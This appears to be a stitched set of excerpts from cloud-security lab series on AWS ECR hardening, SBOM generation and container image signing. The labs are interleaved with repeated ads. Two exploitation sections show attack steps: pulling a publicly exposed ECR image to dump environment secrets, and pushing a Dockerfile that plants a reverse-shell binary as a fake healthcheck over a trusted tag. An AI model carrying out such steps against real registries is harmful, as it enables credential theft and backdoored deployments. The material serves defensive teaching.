Before we start, shoutout to a platform we built for YOU!

💎 Your next level in cybersecurity isn’t a dream, it’s a proactive roadmap.

HADESS AI Career Coach turns ambition into expertise:

→ 390+ clear career blueprints from entry-level to leadership

→ 490+ in-demand skill modules + practical labs

→ Intelligent AI(Not AI buzz, applied AI, promise!) tools + real-world expert coaches and scenarios

Master the skills that matter. Land the roles that pay. Build the future you want.

🔥 Start engineering your career →

https://career.hadess.io

The labs span eight areas: ECR access control and policies (repository policies, registry permissions, cross-account access, VPC endpoints), image scanning (basic vs enhanced, scan-on-push, Amazon Inspector integration, remediation workflows), image lifecycle and tags (lifecycle policies, immutable tags, KMS encryption, CloudTrail logging), CI/CD pipelines (GitHub Actions OIDC, GitLab CI, Terraform, pull-through cache), image signing (AWS Signer with Notation, Cosign with AWS KMS), compute integration (EKS with IRSA, ECS/Fargate, Lambda container images), advanced features (replication, OCI artifacts, SBOM with Inspector), and governance (Config rules, Security Hub, Prowler audit, complete security architecture).

Every lab uses real AWS CLI commands, real Terraform configurations, and real scanning tools. No fake output. No tools that do not exist.

Table of Contents

ECR Access Control and Policies

1. ECR Repository Policy Allowing Public Access

2. ECR Private Registry Permissions Policy

3. ECR Cross-Account Access Misconfiguration

4. ECR Without VPC Endpoint (PrivateLink)

ECR Image Scanning

5. ECR Basic Scanning vs Enhanced Scanning

6. ECR Scan on Push Disabled

7. Amazon Inspector ECR Deep Integration

8. ECR Vulnerability Findings and Remediation Workflow

ECR Image Lifecycle and Tags

9. ECR Missing Lifecycle Policies

10. ECR Image Tag Mutability

11. ECR Encryption with KMS

12. ECR CloudTrail Audit Logging

ECR with CI/CD

13. ECR with GitHub Actions (OIDC Federation)

14. ECR with GitLab CI Pipeline

15. ECR Infrastructure with Terraform

16. ECR Pull-Through Cache Security

ECR Image Signing

17. ECR Replication (Cross-Region and Cross-Account)

18. ECR Image Signing with AWS Signer and Notation

19. ECR Image Signing with Cosign

20. ECR with EKS using IRSA

ECR with Compute

21. ECR with ECS and Fargate

22. ECR with Lambda Container Images

ECR Advanced Features

23. ECR OCI Artifact Support

24. ECR SBOM Generation with Amazon Inspector

ECR Governance and Architecture

25. ECR with AWS Config Rules

26. ECR Findings in AWS Security Hub

27. ECR Public vs Private Repository Security

28. ECR Image Layer Analysis and Security

29. ECR Admission Control with Kyverno on EKS

30. ECR Security Audit with Prowler

31. ECR Disaster Recovery and Backup

32. Complete ECR Security Architecture

Lab 01: ECR Repository Policy Allowing Public Access

When an ECR repository policy sets Principal: "*", it grants every AWS account (and in some configurations, unauthenticated callers) permission to pull images. This is the container equivalent of making an S3 bucket public. If an attacker discovers the account ID and repository name, they can pull every image in that repository without any authentication beyond a valid AWS credential set.

We see this happen frequently in organizations that needed to share a container image with a partner and took the shortcut of opening the policy to everyone. The temporary fix becomes permanent, and proprietary application code, configuration files, secrets baked into image layers, and internal tooling all become accessible to anyone.

The attack surface is larger than people expect. ECR repository names are often guessable (e.g., my-company/backend-api, production/web-app). AWS account IDs leak through CloudTrail logs, error messages, IAM role ARNs in public repositories, and S3 bucket policies. Once the attacker has both pieces of information, pulling the image is trivial.

Root Cause Analysis

The root cause is a repository policy with an overly permissive principal. The policy below grants ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, and ecr:BatchCheckLayerAvailability to "*", which means any AWS principal. There is no condition block to restrict access by account, organization, IP range, or VPC endpoint.

Teams often apply this policy during development and forget to scope it down. Infrastructure-as-code reviews miss it because the repository “works” and nobody validates the principal field against organizational policy.

Vulnerable Configuration

AWS CLI (set-repository-policy)

aws ecr set-repository-policy \
  --repository-name my-company/backend-api \
  --policy-text '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Sid": "AllowPublicPull",
        "Effect": "Allow",
        "Principal": "*",
        "Action": [
          "ecr:GetDownloadUrlForLayer",
          "ecr:BatchGetImage",
          "ecr:BatchCheckLayerAvailability"
        ]
      }
    ]
  }'

Terraform

resource "aws_ecr_repository" "backend_api" {
  name = "my-company/backend-api"
}

resource "aws_ecr_repository_policy" "backend_api_policy" {
  repository = aws_ecr_repository.backend_api.name

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Sid       = "AllowPublicPull"
        Effect    = "Allow"
        Principal = "*"
        Action = [
          "ecr:GetDownloadUrlForLayer",
          "ecr:BatchGetImage",
          "ecr:BatchCheckLayerAvailability"
        ]
      }
    ]
  })
}

Exploitation

Step 1: Discover the target account ID and repository name

The attacker already obtained the account ID 111122223333 from a leaked CloudTrail log. They guess or enumerate common repository names.

# Attacker authenticates to ECR using their own AWS credentials
# but targets the victim's registry
aws ecr get-login-password --region us-east-1 | \
  docker login --username AWS --password-stdin 111122223333.dkr.ecr.us-east-1.amazonaws.com

Expected output:

Login Succeeded

Step 2: Pull the image from the victim’s repository

docker pull 111122223333.dkr.ecr.us-east-1.amazonaws.com/my-company/backend-api:latest

Expected output:

latest: Pulling from my-company/backend-api
a2abf6c4d29d: Pull complete
e1a9e1e234bc: Pull complete
05e4bd1f585e: Pull complete
Digest: sha256:9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
Status: Downloaded newer image for 111122223333.dkr.ecr.us-east-1.amazonaws.com/my-company/backend-api:latest

Step 3: Extract secrets and proprietary code from image layers

# Inspect the image for environment variables, config files, embedded secrets
docker history 111122223333.dkr.ecr.us-east-1.amazonaws.com/my-company/backend-api:latest
docker run --rm -it --entrypoint /bin/sh \
  111122223333.dkr.ecr.us-east-1.amazonaws.com/my-company/backend-api:latest \
  -c "env; cat /app/config/*.yml"

Expected output (example):

DATABASE_URL=postgres://admin:P@ssw0rd123@prod-db.internal:5432/myapp
API_SECRET_KEY=sk-live-abc123def456
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE

Step 4: Use extracted credentials for lateral movement

The attacker now has database credentials, API keys, and possibly AWS credentials embedded in the image. These can be used to access production databases, internal APIs, and other AWS services.

Detection

AWS CLI: Check repository policy

aws ecr get-repository-policy \
  --repository-name my-company/backend-api \
  --query 'policyText' --output text | jq .

Look for "Principal": "*" or "Principal": {"AWS": "*"} in the output.

List all repositories and check each policy

for repo in $(aws ecr describe-repositories --query 'repositories[].repositoryName' --output text); do
  echo "=== $repo ==="
  aws ecr get-repository-policy --repository-name "$repo" 2>/dev/null | \
    jq -r '.policyText' | jq 'select(.Statement[].Principal == "*")'
done

Prowler

prowler aws --check ecr-repositories-not-publicly-accessible -r us-east-1

Expected output when vulnerable:

FAIL  ECR repository my-company/backend-api has a policy that allows public access

Checkov

checkov -d . --check CKV_AWS_163

Expected output when vulnerable:

Check: CKV_AWS_163: "Ensure ECR repository policy is not set to public"
  FAILED for resource: aws_ecr_repository_policy.backend_api_policy
  File: /main.tf:10-28

ScoutSuite

scout suite aws --services ecr

Review the report under ECR > Findings for public repository policies.

CloudTrail: Detect external pulls

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=BatchGetImage \
  --max-results 20 \
  --query 'Events[].{Time:EventTime,User:Username,Source:CloudTrailEvent}' \
  --output table

Look for BatchGetImage calls from account IDs that are not in your organization.

Solution

Fixed Repository Policy (AWS CLI)

aws ecr set-repository-policy \
  --repository-name my-company/backend-api \
  --policy-text '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Sid": "AllowSpecificAccountPull",
        "Effect": "Allow",
        "Principal": {
          "AWS": [
            "arn:aws:iam::444455556666:root",
            "arn:aws:iam::777788889999:role/ECSTaskRole"
          ]
        },
        "Action": [
          "ecr:GetDownloadUrlForLayer",
          "ecr:BatchGetImage",
          "ecr:BatchCheckLayerAvailability"
        ],
        "Condition": {
          "StringEquals": {
            "aws:PrincipalOrgID": "o-abc123def4"
          }
        }
      }
    ]
  }'

Fixed Terraform

resource "aws_ecr_repository_policy" "backend_api_policy" {
  repository = aws_ecr_repository.backend_api.name

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Sid    = "AllowSpecificAccountPull"
        Effect = "Allow"
        Principal = {
          AWS = [
            "arn:aws:iam::444455556666:root",
            "arn:aws:iam::777788889999:role/ECSTaskRole"
          ]
        }
        Action = [
          "ecr:GetDownloadUrlForLayer",
          "ecr:BatchGetImage",
          "ecr:BatchCheckLayerAvailability"
        ]
        Condition = {
          StringEquals = {
            "aws:PrincipalOrgID" = "o-abc123def4"
          }
        }
      }
    ]
  })
}

Delete the policy entirely (if no cross-account access is needed)

aws ecr delete-repository-policy --repository-name my-company/backend-api

Verification

Confirm the policy is scoped

aws ecr get-repository-policy \
  --repository-name my-company/backend-api \
  --query 'policyText' --output text | \
  jq '.Statement[].Principal'

Expected output (should NOT contain "*"):

{
  "AWS": [
    "arn:aws:iam::444455556666:root",
    "arn:aws:iam::777788889999:role/ECSTaskRole"
  ]
}

Re-run Prowler

prowler aws --check ecr-repositories-not-publicly-accessible -r us-east-1

Expected output:

PASS  ECR repository my-company/backend-api does not allow public access

Re-run Checkov

checkov -d . --check CKV_AWS_163

Expected output:

Check: CKV_AWS_163: "Ensure ECR repository policy is not set to public"
  PASSED for resource: aws_ecr_repository_policy.backend_api_policy

Test that unauthorized accounts are denied

# From an account NOT in the policy
aws ecr get-download-url-for-layer \
  --repository-name my-company/backend-api \
  --registry-id 111122223333 \
  --layer-digest sha256:abc123

# Expected: AccessDeniedException

Lab 02: ECR Private Registry Permissions Policy

Read more

Before we start, shoutout to a platform we built for YOU!

💎 Your next level in cybersecurity isn’t a dream, it’s a proactive roadmap.

HADESS AI Career Coach turns ambition into expertise:

→ 390+ clear career blueprints from entry-level to leadership

→ 490+ in-demand skill modules + practical labs

→ Intelligent AI(Not AI buzz, applied AI, promise!) tools + real-world expert coaches and scenarios

Master the skills that matter. Land the roles that pay. Build the future you want.

🔥 Start engineering your career →

https://career.hadess.io

The labs span seven areas: SBOM standards and formats (SPDX, CycloneDX, NTIA minimum elements, Package URL), SBOM generation tools (Syft, Trivy, cdxgen, Docker Scout, Microsoft sbom-tool), cloud-specific SBOM solutions (Amazon Inspector for ECR, Lambda, and EC2, Azure Defender, GCP Artifact Analysis), CI/CD SBOM pipelines (GitHub Actions, GitLab CI, Cosign attestation, Kyverno admission), SBOM consumption platforms (Dependency-Track, GUAC, DefectDojo, Grype), vulnerability triage with VEX (OpenVEX, CycloneDX VEX, CSAF advisories), and alternative bill of materials types (AI BOM for ML models, Cryptographic BOM for PQC migration, SaaSBOM, Hardware BOM, Operations BOM).

Table of Contents

SBOM Standards and Formats

1. SPDX SBOM Format Deep Dive

2. CycloneDX SBOM Format Deep Dive

3. NTIA Minimum Elements Compliance

4. Package URL (purl) for Component Identification

SBOM Generation Tools

5. Syft for Container Image SBOM Generation

6. Trivy SBOM Generation and Scanning

7. cdxgen for Application Level SBOMs

8. Docker Scout SBOM and Analysis

9. Microsoft SBOM Tool (sbom-tool)

10. GitHub Dependency Graph and SBOM Export

Cloud SBOM Solutions

11. Amazon Inspector SBOM for ECR Container Images

12. Amazon Inspector SBOM for Lambda Functions

13. Amazon Inspector SBOM for EC2 Instances

14. Azure Defender for Containers SBOM

15. GCP Artifact Analysis and On-Demand Scanning

CI/CD SBOM Pipelines

16. GitHub Actions SBOM Pipeline

17. GitLab CI SBOM Pipeline

18. SBOM Attestation with Cosign

19. Kyverno SBOM Admission Policy

SBOM Consumption and Analysis

20. OWASP Dependency-Track for SBOM Management

21. GUAC (Graph for Understanding Artifact Composition)

22. Grype SBOM-Based Vulnerability Scanning

Vulnerability Triage with VEX

23. OpenVEX for Vulnerability Exploitability

24. CycloneDX VEX (Vulnerability Disclosure Report)

25. CSAF (Common Security Advisory Framework)

Alternative Bill of Materials Types

26. AI Bill of Materials (AI BOM / ML BOM)

27. Cryptographic Bill of Materials (CBOM)

28. SaaSBOM (Software-as-a-Service Bill of Materials)

29. Hardware Bill of Materials (HBOM)

30. Operations Bill of Materials (OBOM)

Advanced SBOM Topics

31. SBOM Diff and Drift Detection

32. SBOM for Kubernetes Clusters

33. SBOM for License Compliance

34. DefectDojo SBOM Ingestion and Vulnerability Management

35. Complete SBOM Pipeline End-to-End

Lab 01: SPDX SBOM Format Deep Dive

SPDX (Software Package Data Exchange) is a Linux Foundation project and an ISO standard for communicating software bill of materials information. It was the first SBOM format to gain widespread adoption and remains the format specified in many government procurement requirements.

We focus on SPDX 2.3 in this lab because it is the current stable release and the version most tools generate by default. SPDX 3.0 exists but tooling support is still catching up.

SPDX documents have five main element types:

• Document: the top-level container with creation info, document namespace, and licensing metadata

• Package: a unit of software (library, application, container layer, OS package)

• File: an individual file within a package, with checksums and license info

• Snippet: a portion of a file (rarely used in practice)

• Relationship: how elements relate to each other (DEPENDS_ON, CONTAINS, BUILD_TOOL_OF, DESCRIBED_BY, and others)

SPDX supports multiple serialization formats: SPDX-JSON, SPDX-TV (tag-value), SPDX-RDF, SPDX-YAML, and SPDX-XML. JSON is the most common in CI/CD pipelines today.

Required fields at the document level:

• SPDXVersion (e.g., SPDX-2.3)

• DataLicense (always CC0-1.0, this licenses the SBOM data itself)

• SPDXID (SPDXRef-DOCUMENT)

• DocumentName

• DocumentNamespace (a unique URI for this specific SBOM)

Package-level fields that matter for vulnerability matching:

• name, versionInfo, downloadLocation

• supplier (who distributes the package)

• externalRefs with type cpe23Type or purl for cross-referencing vulnerability databases

Root Cause Analysis

Organizations fall into two failure modes with SPDX. The first is having no SBOM at all, meaning they ship software with zero visibility into its composition. The second, more subtle failure, is generating malformed SPDX documents that are missing required fields. A malformed SBOM gives a false sense of compliance. Downstream consumers (vulnerability scanners, procurement systems, compliance auditors) silently fail when fields like supplier or externalRefs are absent.

The root cause is typically that teams add SBOM generation as an afterthought. They run a quick syft or trivy command, store the output, and never validate it.

Vulnerable Configuration

A CI pipeline that generates no SBOM, or generates a broken one:

# .github/workflows/build.yml - VULNERABLE
name: Build and Push
on: [push]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Build image
        run: docker build -t myapp:latest .
      - name: Push image
        run: docker push myapp:latest
      # No SBOM generation at all

Or worse, a hand-crafted SPDX file missing required fields:

{
  "spdxVersion": "SPDX-2.3",
  "SPDXID": "SPDXRef-DOCUMENT",
  "name": "myapp",
  "packages": [
    {
      "name": "express",
      "SPDXID": "SPDXRef-Package-express"
    }
  ]
}

This document is missing dataLicense, documentNamespace, creationInfo, package versionInfo, downloadLocation, supplier, and externalRefs. It will fail validation and is useless for vulnerability matching.

Exploitation

Step 1: Show the problem with missing SBOMs

Pull a container image and inspect it without SBOM tooling:

docker pull nginx:1.25
docker inspect nginx:1.25 | jq '.[0].RootFS.Layers | length'

Expected output:

7

We see 7 layers but have zero information about the hundreds of packages inside those layers.

Step 2: Generate a proper SPDX SBOM with Syft

syft nginx:1.25 -o spdx-json=nginx-spdx.json

Expected output:

 ✔ Pulled image
 ✔ Loaded image            nginx:1.25
 ✔ Parsed image            sha256:a8758716bb6a...
 ✔ Cataloged contents      156 packages
   ├── dpkg           90 packages
   ├── java-archive    0 packages
   └── ...

Step 3: Examine the generated SPDX structure

jq '{
  spdxVersion: .spdxVersion,
  dataLicense: .dataLicense,
  SPDXID: .SPDXID,
  name: .name,
  documentNamespace: .documentNamespace,
  packageCount: (.packages | length),
  relationshipCount: (.relationships | length)
}' nginx-spdx.json

Expected output:

{
  "spdxVersion": "SPDX-2.3",
  "dataLicense": "CC0-1.0",
  "SPDXID": "SPDXRef-DOCUMENT",
  "name": "nginx-1.25",
  "documentNamespace": "https://anchore.com/syft/image/nginx-1.25-...",
  "packageCount": 156,
  "relationshipCount": 312
}

Step 4: Check a single package for required fields

jq '.packages[] | select(.name == "openssl") | {
  name, versionInfo, downloadLocation, supplier,
  externalRefs: [.externalRefs[]? | {referenceType, referenceLocator}]
}' nginx-spdx.json

Expected output:

{
  "name": "openssl",
  "versionInfo": "3.0.11-1~deb12u2",
  "downloadLocation": "NOASSERTION",
  "supplier": "Organization: Debian",
  "externalRefs": [
    {
      "referenceType": "cpe23Type",
      "referenceLocator": "cpe:2.3:a:openssl:openssl:3.0.11-1~deb12u2:*:*:*:*:*:*:*"
    },
    {
      "referenceType": "purl",
      "referenceLocator": "pkg:deb/debian/openssl@3.0.11-1~deb12u2?arch=amd64&distro=debian-12"
    }
  ]
}

Step 5: Validate the SPDX document

pip install spdx-tools
python -m spdx_tools.spdx.parser.parse nginx-spdx.json

Expected output for a valid document:

The document is valid.

For an invalid document with missing fields:

Validation errors:
  - document_namespace is required
  - data_license must be CC0-1.0
  - creation_info.created is missing

Step 6: Check NTIA minimum elements compliance

pip install ntia-conformance-checker
ntia-checker --file nginx-spdx.json

Expected output:

NTIA Conformance Results:
  Supplier Name:           PASS
  Component Name:          PASS
  Version:                 PASS
  Unique Identifier:       PASS
  Dependency Relationship: PASS
  Author of SBOM Data:     PASS
  Timestamp:               PASS
Overall: COMPLIANT

Detection

Detect missing or invalid SBOMs in your environment:

# Check if an image has an attached SBOM (cosign)
cosign verify-attestation --type spdx myregistry.io/myapp:v1.2.3

# Validate SPDX documents in a directory
for f in sboms/*.json; do
  echo "Validating $f..."
  python -m spdx_tools.spdx.parser.parse "$f" 2>&1 | tail -1
done

# Count packages missing purl references
jq '[.packages[] | select(.externalRefs == null or
  (.externalRefs | map(.referenceType) | contains(["purl"]) | not))] |
  length' sbom.json

Solution

Fixed CI pipeline with SPDX generation, validation, and attestation:

# .github/workflows/build.yml - FIXED
name: Build and Push with SBOM
on: [push]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install SBOM tools
        run: |
          curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
          pip install spdx-tools ntia-conformance-checker

      - name: Build image
        run: docker build -t myapp:${{ github.sha }} .

      - name: Generate SPDX SBOM
        run: |
          syft myapp:${{ github.sha }} -o spdx-json=sbom-spdx.json

      - name: Validate SPDX
        run: |
          python -m spdx_tools.spdx.parser.parse sbom-spdx.json

      - name: Check NTIA compliance
        run: |
          ntia-checker --file sbom-spdx.json --output ntia-report.json
          # Fail if not compliant
          ntia-checker --file sbom-spdx.json | grep -q "COMPLIANT"

      - name: Attest SBOM to image
        run: |
          cosign attest --predicate sbom-spdx.json \
            --type spdx \
            myregistry.io/myapp:${{ github.sha }}

      - name: Upload SBOM artifact
        uses: actions/upload-artifact@v4
        with:
          name: sbom-spdx
          path: sbom-spdx.json

Verification

After applying the fix, verify the SBOM is valid and attached:

# 1. Validate the generated SPDX
python -m spdx_tools.spdx.parser.parse sbom-spdx.json
# Expected: "The document is valid."

# 2. Confirm all required SPDX fields exist
jq '{
  hasVersion: (.spdxVersion != null),
  hasLicense: (.dataLicense == "CC0-1.0"),
  hasNamespace: (.documentNamespace != null),
  hasCreationInfo: (.creationInfo != null),
  packageCount: (.packages | length)
}' sbom-spdx.json

# 3. Check NTIA compliance
ntia-checker --file sbom-spdx.json
# Expected: Overall: COMPLIANT

# 4. Verify the attestation on the image
cosign verify-attestation --type spdx \
  --certificate-identity-regexp ".*" \
  --certificate-oidc-issuer-regexp ".*" \
  myregistry.io/myapp:latest

Lab 02: CycloneDX SBOM Format Deep Dive

Read more

Before we start, shoutout to a platform we built for YOU!

💎 Your next level in cybersecurity isn’t a dream, it’s a proactive roadmap.

HADESS AI Career Coach turns ambition into expertise:

→ 390+ clear career blueprints from entry-level to leadership

→ 490+ in-demand skill modules + practical labs

→ Intelligent AI(Not AI buzz, applied AI, promise!) tools + real-world expert coaches and scenarios

Master the skills that matter. Land the roles that pay. Build the future you want.

🔥 Start engineering your career →

https://career.hadess.io

We wrote 38 hands-on labs covering every signing and supply chain verification technique we use during DevSecOps assessments. Each lab walks through a real gap in the signing chain, shows you what an attacker does when that gap exists, and gives you the fix with verification steps.

The labs are grounded in real incidents: the Trivy TeamPCP attack, the tj-actions/changed-files compromise (CVE-2025-30066), the Codecov bash uploader breach, the xz-utils backdoor (CVE-2024-3094), the SolarWinds SUNBURST campaign, the 3CX cascading supply chain attack, and NotPetya. Each attack maps directly to a lab that teaches the control that would have caught it.

The labs span six areas: Sigstore ecosystem fundamentals (Cosign, Fulcio, Rekor, keyless signing), CI/CD signing pipelines (GitHub Actions, GitLab CI, AWS KMS, GCP KMS, Azure Key Vault), AWS Signer for Lambda and ECR with Terraform, artifact attestation and provenance (SLSA, in-toto, SBOM signing, GitHub artifact attestation), deployment verification (Helm chart signing, ArgoCD GPG verification, git commit signing), and admission control (Kyverno, OPA Gatekeeper, Sigstore policy controller, Notation).

A key theme throughout: use OIDC federation and workload identity instead of long-lived secrets. Every CI/CD lab shows the federated approach -- GitHub Actions OIDC to AWS, GCP Workload Identity Federation, Azure federated credentials -- so there are zero stored secrets in your pipelines.

Table of Contents

Sigstore Ecosystem and Cloud KMS

1. Cosign Key-Based Container Image Signing

2. Cosign Keyless Signing with Sigstore

3. Fulcio Certificate Authority and Rekor Transparency Log

4. GitHub Actions Image Signing with Cosign

5. GitLab CI Image Signing with Cosign

6. Cosign Signing with AWS KMS

7. Cosign Signing with GCP KMS and Azure Key Vault

AWS Signer

8. AWS Signer for Lambda Functions with Terraform

9. AWS Signer for ECR Container Images

Artifact Attestation and Provenance

10. GitHub Actions Artifact Attestation Signing

11. SLSA Provenance Generation and Verification

12. In-toto Attestation Framework

13. SBOM Signing and Attestation

Helm, ArgoCD, and Git Signing

14. Helm Chart Cosign Signature Verification

15. Helm Chart Provenance Files

16. ArgoCD GPG Signature Verification for Git Commits

17. ArgoCD with Cosign Image Verification

18. Git Commit GPG/SSH Signing

Package and Binary Signing

19. NPM Package Provenance and Signing

20. Python Package Signing with Sigstore

21. Go Binary Signing with Cosign and GoReleaser

22. Terraform Provider and Module Signing Verification

OIDC Federation (No Secrets)

23. GitHub Actions OIDC Federation for AWS

24. GitHub Actions OIDC Federation for GCP

25. GitHub Actions OIDC Federation for Azure

Admission Control and Policy Enforcement

26. Kyverno Admission Policies for Signature Enforcement

27. OPA Gatekeeper Signature Constraints

28. OCI Artifacts for Signatures and Attestations

29. Notation (CNCF) Container Image Signing

30. SLSA Framework Implementation (L1 through L3)

31. Policy-as-Code for Signature Enforcement

32. Sigstore Policy Controller for Kubernetes

33. Complete End-to-End Signing Pipeline

Real-World Attack Scenarios

34. GitHub Actions Supply Chain Security (tj-actions, Trivy TeamPCP)

35. CI Script and Tool Verification (Codecov Attack)

36. Multi-Party and Threshold Signing (xz-utils Backdoor)

37. Reproducible Build Verification (SolarWinds, 3CX)

38. The Update Framework / TUF (NotPetya)

Lab 01 — Cosign Key-Based Container Image Signing

Field Value Lab Title Cosign Key-Based Container Image Signing Risk Rating Critical MITRE ATT&CK T1525 — Implant Internal Image CIS Benchmark CIS Kubernetes 5.5.1 — Ensure Image Provenance Tools cosign, crane, docker Platform OCI Registry, CI/CD Last Updated 2026-03-27

Writeup

We build container images and push them to a registry. Without signing, we have no way to prove that an image came from our pipeline. An attacker who gains push access to the registry — or compromises a pull-through cache — can replace any tag with a backdoored image. Kubernetes pulls it on the next restart and nobody notices.

Cosign key-based signing attaches a cryptographic signature to the image digest using a private key. At verification time, the corresponding public key confirms the image was signed by someone holding the private key. This is the simplest signing model: generate a key pair, sign with the private key, verify with the public key.

The tradeoff is key management. The private key needs to be stored securely, rotated periodically, and never committed to version control. If the key leaks, an attacker can sign their own images and bypass verification. Key-based signing is a solid starting point, but we cover keyless signing in Lab 02 for environments where key management is a burden.

Root Cause Analysis

1. No signing step in the CI/CD pipeline — images ship unsigned

2. Images referenced by mutable tags (latest, v1.2.0) instead of immutable digests

3. No admission controller checks signatures at deploy time

4. Registry credentials have push access without audit trail on tag overwrites

5. Teams treat “it’s in our registry” as proof of provenance

Vulnerable Configuration

CI Pipeline — No Signing

# .github/workflows/build.yaml
name: Build and Push
on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Login to registry
        run: echo "${{ secrets.REGISTRY_PASSWORD }}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin
      - name: Build image
        run: docker build -t ghcr.io/acme/webapp:${{ github.sha }} .
      - name: Push image
        run: docker push ghcr.io/acme/webapp:${{ github.sha }}
      # No signing. Image is pushed and forgotten.

Kubernetes Deployment — Mutable Tag, No Verification

apiVersion: apps/v1
kind: Deployment
metadata:
  name: webapp
spec:
  replicas: 3
  template:
    spec:
      containers:
        - name: webapp
          image: ghcr.io/acme/webapp:latest  # Mutable tag, no signature check

Exploitation

Step 1: Confirm No Signatures Exist

$ cosign verify --key cosign.pub ghcr.io/acme/webapp:latest
Error: no matching signatures: no signatures found for ghcr.io/acme/webapp:latest

The image has zero signatures. Nothing ties it to our build pipeline.

Step 2: Check the Current Digest

$ crane digest ghcr.io/acme/webapp:latest
sha256:a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

Step 3: Attacker Overwrites the Tag

# Attacker has compromised registry credentials
$ cat Dockerfile.backdoor
FROM ghcr.io/acme/webapp:latest
COPY reverse-shell /usr/local/bin/healthcheck
ENTRYPOINT ["/usr/local/bin/healthcheck"]

$ docker build -t ghcr.io/acme/webapp:latest -f Dockerfile.backdoor .
$ docker push ghcr.io/acme/webapp:latest

Step 4: Confirm the Digest Changed

$ crane digest ghcr.io/acme/webapp:latest
sha256:ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00

Different digest. The tag now points to the attacker’s image.

Step 5: Kubernetes Pulls the Backdoored Image

$ kubectl rollout restart deployment/webapp
$ kubectl get pods -l app=webapp -o jsonpath='{.items[0].status.containerStatuses[0].imageID}'
ghcr.io/acme/webapp@sha256:ff00ff00...

No admission controller blocked it. The backdoor is running in production.

Detection

Check for Signatures on Any Image

$ cosign tree ghcr.io/acme/webapp:latest
No signatures found
No attestations found

Compare Digests Against Build Logs

$ crane digest ghcr.io/acme/webapp:latest
# Compare with the digest recorded in CI build output
# Mismatch = tag was overwritten

Registry Audit Logs

Check your registry’s audit log for push events that did not originate from CI service accounts.

Solution

Step 1: Generate a Cosign Key Pair

$ cosign generate-key-pair
Enter password for private key:
Enter password for private key again:
Private key written to cosign.key
Public key written to cosign.pub

Store cosign.key in a secrets manager (Vault, AWS Secrets Manager, GitHub Actions secret). Never commit it to the repo. Distribute cosign.pub to all verification points.

Step 2: Sign the Image in CI

# .github/workflows/build-sign.yaml
name: Build, Push, Sign
on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install Cosign
        uses: sigstore/cosign-installer@v3

      - name: Login to registry
        run: echo "${{ secrets.REGISTRY_PASSWORD }}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin

      - name: Build and push
        id: build
        run: |
          docker build -t ghcr.io/acme/webapp:${{ github.sha }} .
          docker push ghcr.io/acme/webapp:${{ github.sha }}
          DIGEST=$(crane digest ghcr.io/acme/webapp:${{ github.sha }})
          echo "digest=$DIGEST" >> "$GITHUB_OUTPUT"

      - name: Sign image
        env:
          COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }}
        run: |
          cosign sign --key env://COSIGN_KEY \
            ghcr.io/acme/webapp@${{ steps.build.outputs.digest }}
        # Signs the digest, not the tag. Tag overwrites cannot forge the signature.

Step 3: Verify Before Deploy

$ cosign verify --key cosign.pub \
    ghcr.io/acme/webapp@sha256:a1b2c3d4e5f6...

Verification for ghcr.io/acme/webapp@sha256:a1b2c3d4e5f6... --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - The signatures were verified against the specified public key

Key Management Notes

• Rotate the key pair periodically — generate new pair, sign new images with new key, update verification configs, phase out old key

• Store the private key in a hardware-backed secrets manager or KMS (see Lab 06)

• If the private key leaks, all signatures made with that key should be considered untrusted — re-sign all images with a new key

Verification

Confirm the Image Is Signed

$ cosign verify --key cosign.pub ghcr.io/acme/webapp@sha256:a1b2c3d4e5f6...

Verification for ghcr.io/acme/webapp@sha256:a1b2c3d4e5f6... --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - The signatures were verified against the specified public key

Confirm an Unsigned Image Fails Verification

$ cosign verify --key cosign.pub ghcr.io/acme/webapp:unverified
Error: no matching signatures: no signatures found

Confirm the Signature Is Attached to the Digest

$ cosign triangulate ghcr.io/acme/webapp@sha256:a1b2c3d4e5f6...
ghcr.io/acme/webapp:sha256-a1b2c3d4e5f6....sig

The .sig tag exists in the registry, confirming the signature is stored alongside the image.

Takeaway: Key-based signing is the first step toward image provenance. Sign every image by digest in CI, verify before deploy. But key management is a real operational cost — Lab 02 covers keyless signing to eliminate that burden entirely.

Lab 02 — Cosign Keyless Signing with Sigstore

Read more

Container Image Security Labs in 2026

Before we start, shoutout to a platform we built for YOU!

💎 Your next level in cybersecurity isn’t a dream, it’s a proactive roadmap.

HADESS AI Career Coach turns ambition into expertise:

→ 390+ clear career blueprints from entry-level to leadership

→ 490+ in-demand skill modules + practical labs

→ Intelligent AI(Not AI buzz, applied AI, promise!) tools + real-world expert coaches and scenarios

Master the skills that matter. Land the roles that pay. Build the future you want.

🔥 Start engineering your career → https://career.hadess.io

Each lab walks through a real vulnerability, shows you what an attacker does with it, and gives you the fix with verification steps.

The labs span five areas: Dockerfile and build security (root users, secrets in layers, bloated images, caching leaks), image scanning and analysis (Trivy, Grype, Docker Scout, dual-scanner approaches), image trust and supply chain (Cosign signing, SBOM generation, SLSA provenance, typosquatting), registry and runtime security (ECR, Harbor, pull policies, immutable tags, authentication), and admission control and pipelines (Kyverno, OPA Gatekeeper, complete GitHub Actions workflows).

